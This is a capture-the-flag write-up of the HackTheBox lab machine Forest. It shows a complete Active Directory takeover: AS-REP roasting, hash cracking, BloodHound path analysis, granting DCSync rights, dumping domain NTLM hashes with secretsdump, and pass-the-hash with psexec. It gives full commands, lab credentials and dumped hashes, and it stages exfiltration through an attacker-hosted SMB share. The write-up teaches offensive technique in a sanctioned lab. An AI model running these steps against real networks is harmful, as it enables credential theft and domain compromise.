When I first joined HackTheBox, Forest was the first machine that I was trying to own. It was an overall easy to medium difficulty machine.
On Forest, enumeration of RPC service with anonymous logon/null session reveals Active Directory users account. With these accounts, AS-REP Roasting attack can be performed to obtain a ticket-granting-ticket (TGT) of a service account. The TGT itself contains the password hash of the user that can be cracked offline, and further allows me gain a foothold into the machine. For the root part, the service account permissions allows me to grant myself a DCsync rights, this can be leveraged to pull Active Directory NTLM hashes and use them to gain access as NT Authority\SYSTEM.
Skills Learned
- AS-REP roasting
- AD recon using BloodHound
- Creating network drive
- Abusing DCSync rights
Tools
- Nmap
- rpcclient
- Evil-WinRM - https://github.com/Hackplayers/evil-winrm
- BloodHound - https://github.com/BloodHoundAD/BloodHound
- Impacket - https://github.com/SecureAuthCorp/impacket
Reconnaissance
Nmap
→ root@iamf «forest» «10.10.14.116»
$ nmap -sV -sC -oA nmap/initial-forest 10.10.10.171 -v
-sC
, to scan with default script-sV
, to scan service version-oA
, to save the output to all format (xml, nmap, gnmap)-v
, verbose mode.
...<SNIP>...
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-21 08:18:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/21%Time=5E75CC69%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h26m25s, deviation: 4h02m30s, median: 6m24s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2020-03-21T01:21:11-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-03-21T08:21:14
|_ start_date: 2020-03-20T05:27:17
...<SNIP>...
From the scan results, I’m dealing with a domain controller of an Active Directory system.
When it comes to an Active Directory, I often to see people begin their enumeration from SMB (445) and sometimes LDAP (389). I’ll also follow that sequence because these three ports are most likely to allow anonymous login.
Enumeration
TCP 139,445 - SMB
I can authenticate myself as anonymous/null session using both smbclient
and rppclient
. With current access I could get list of users and groups but not to file shares.
→ root@iamf «forest» «10.10.14.116»
$ rpcclient -U '%' '10.10.10.161'
rpcclient $>
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
...<SNIP>...
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
I use this blog post from SANS as my reference.
Foothold
Shell as svc-alfresco
ASREP Roasting
In Active Directory, users with Kerberos pre-authentication disabled are vulnerable to what is known as AS-REP roasting attack.
When Kerberos is used as the authentication protocol and the pre-auth is enabled, the client or user must include a timestamp encrypted with their password hash for each request they send (KRB_AS_REQ). The server then validates the time** by decrypting the request using the user’s password stored in SAM. If it valid, the server will give the user a ticket-granting-ticket (TGT) along with a session key encrypted with the user’s password as the response (KRB_AS_REP).
If the pre-auth is disabled, the timestamp is ignored. As a result, an attacker could send a replay attack or dummy request to obtain the TGT for the said user and brute force it offline (read more about it here).
**5 minutes is the default tolerance
Below is the overview of the Kerberos mechanism. The AS-REP roasting process is indicated by the red circle (or oval I guess?).
Taken from “Vulnerability Assessment of Authentication Methods in a Large-Scale Computer System” by David Freimanis
WithGetNPUsers.py
from Impacket, I can try AS-REP roasting on the list of users I gathered earlier.
→ root@iamf «forest» «10.10.14.116»
$ GetNPUsers.py -dc-ip '10.10.10.171' -request htb.local/ -usersfile users -format
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
Name MemberOf PasswordLastSet LastLogon
UAC
------------ ------------------------------------------------------ -------------------------- -------------------------- --------
svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 2020-03-26 09:40:41.035829 2020-03-26 09:41:40.077493 0x410200
$krb5asrep$23$svc-alfresco@HTB.LOCAL:cf77e95a8a50a6d7b298c46e851e93a7$ea7045cfe9b7583ebd9ba81934cf51330863f66e8b3c2c542981f6317b851980eae4e1a23048e95003cfb38c692075cabf9e3da009e3b1a0e17a34f6fd5d27aa1869a458faee9eff4bdbf5f5f3aaf826caf7e0326f52a522b630becd8f636b8b2fd11af194a18e86d07ad8a55299739684d8be527a9e75e16480db5177841cc7f54ab98891d1691b6ab7f4cbc576d0036820a6c3e59aeaee32e88628c88929e522af9b98ce169ea3bc369551a2925c76bd64e13a7a312119552dad92e9a43814e9033c5ad7d4d4c9808a968ebcc269a52e1f458a4d98c5d930068c52d15c5385c2d71f90933a
The tool captured svc-alfresco
’s TGT!
Cracking TGT
The obtained TGT can be cracked with dictionary attack using hashcat
.
$ hashcat64.exe -m 18200 svcalfresco.txt rockyou.txt -O
The password is s3rvice
.
WinRM - svc-alfresco
User svc-alfresco
can login remotely via WinRM using evil-winrm
.
→ root@iamf «forest» «10.10.14.116»
$ evil-winrm -i '10.10.10.161' -u svc-alfresco -p s3rvice
User flag is done here.
Privilege Escalation
Shell as SYSTEM
Enumeration with BloodHound
BloodHound is a great tool to collect more information about object relationships within Active Directory environment.
First, I’ll host my own shares using smbserver.py
from Impacket. This will make it easier for data exfiltration and clean up.
→ root@iamf «shares» «10.10.14.116»
$ smbserver.py myfj . -smb2support -username iamf -password iamf
On Forest, I’ll use my share as a network drive.
*Evil-WinRM* PS C:\> $pass = ConvertTo-SecureString 'belompi' -AsPlainText -Force
*Evil-WinRM* PS C:\> $cred = New-Object System.management.automation.pscredential('mikun', $pass)
*Evil-WinRM* PS C:\> New-PSDrive -Name mikun -PSProvider FileSystem -Credential $cred -Root \\[tun0ip]\myfj
*Evil-WinRM* PS C:\> cd mikun:
I’ve already copied SharpHound.exe
, the BloodHound ingestor, to my share.
I’ll start collecting data with -c all
option to collect all.
*Evil-WinRM* PS mikun:\> .\SharpHound.exe -c all
After it finishes, I’ll fire up BloodHound GUI and then load the collected data by drag and drop.
→ root@iamf «forest» «10.10.14.116»
$ neo4j console &
→ root@iamf «forest» «10.10.14.116»
$ bloodhound --no-sandbox &
I marked svc-alfresco
as owned then used BloodHound pre-built analytics queries “Shortest Path from Owned Principal” to find the shortest path from svc-alfresco
to domain admin.
Path explanation, from top (nearest path to domain admin) to the bottom:
Exchange Windows Permissions
group hasWriteDacl
permission on AD domain. It simply allows you to modify the domain object’s permissions. Users, groups, computers, shares are domain objects.Account Operators
group hasGenericAll
permissions onExchange Windows Permissions
group. It allows you to modify group membership like adding/removing a user to/from the group.Account Operators
members have the ability to create a user.Privileged IT Accounts
group has direct membership to theAccount Operators
group.- User
svc-alfresco
is a direct member ofService Account
group and it has indirect membership to thePrivileged IT Accounts
and theAccount Operators
group
Based on the path, here are the plans:
- Leverage
Account Operators
indirect membership to create a new user and join it toExchange Windows Permission
group - Leverage
Exchange Windows Permissions
group permission to grantDS-Replication-Get-Changes-All
(DCSync) to the new user.
Credential Dumping with DCSync Rights
In Forest, I’ll have to load PowerView.ps1 first.
*Evil-WinRM* PS mikun:\> Import-Module .\powerview.ps1
Then I’ll create a new user and join it to the Exchange Windows Permissions
group.
*Evil-WinRM* PS mikun:\> net user mikun password /add /domain
*Evil-WinRM* PS mikun:\> net group "Exchange Windows Permission" /add mikun
After that, grant DCSync right t
*Evil-WinRM* PS mikun:\> $pass = ConvertTo-SecureString 'password' -AsPlainText -Force
*Evil-WinRM* PS mikun:\>
*Evil-WinRM* PS mikun:\> $cred = New-Object System.management.automation.pscredential('mikun', $pass)
*Evil-WinRM* PS mikun:\>
*Evil-WinRM* PS mikun:\> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb, DC=local" -PrincipalIdentity mikun -Rights DCSync
Now I can use secretsdump.py
from Impacket with that user to perform a DCSync attack.
→ root@iamf «forest» «10.10.14.116»
$ secretsdump.py htb.local/mikun:'password'@10.10.10.161
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
... <SNIP> ...
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
... <SNIP> ...
[*] Cleaning up...
psexec.py
Administrator hash can be used with psexec.py
from Impacket to gain shell access (pass-the-hash).
→ root@iamf «forest» «10.10.14.116»
$ psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6' administrator@10.10.10.161